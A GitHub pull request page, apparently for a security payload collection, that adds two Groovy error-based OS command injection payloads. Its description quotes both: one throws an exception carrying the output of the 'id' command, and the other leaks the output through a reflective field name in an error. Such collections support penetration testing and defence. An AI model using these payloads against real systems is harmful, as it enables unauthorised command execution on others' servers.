Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Groovy Error-based OS Command Injection Payloads #726

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

win3zz
Copy link

@win3zz win3zz commented Jun 12, 2024

Added Groovy Error-based OS Command Injection Payloads

Description:

This pull request adds two new Groovy-based payloads for error-based OS command injection.

Changes:

  • Added throw new Exception('id'.execute().text) to the "Groovy - Command Execution" section.
  • Added def result = "id".execute().text\njava.lang.reflect.Field field = Thread.currentThread().getClass().getDeclaredField("win3zz"+result); to the "Groovy - Command Execution" section.

Reference:

Added Groovy Error-based OS Command Injection Payloads
@win3zz
Copy link
Author

win3zz commented Jun 12, 2024

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant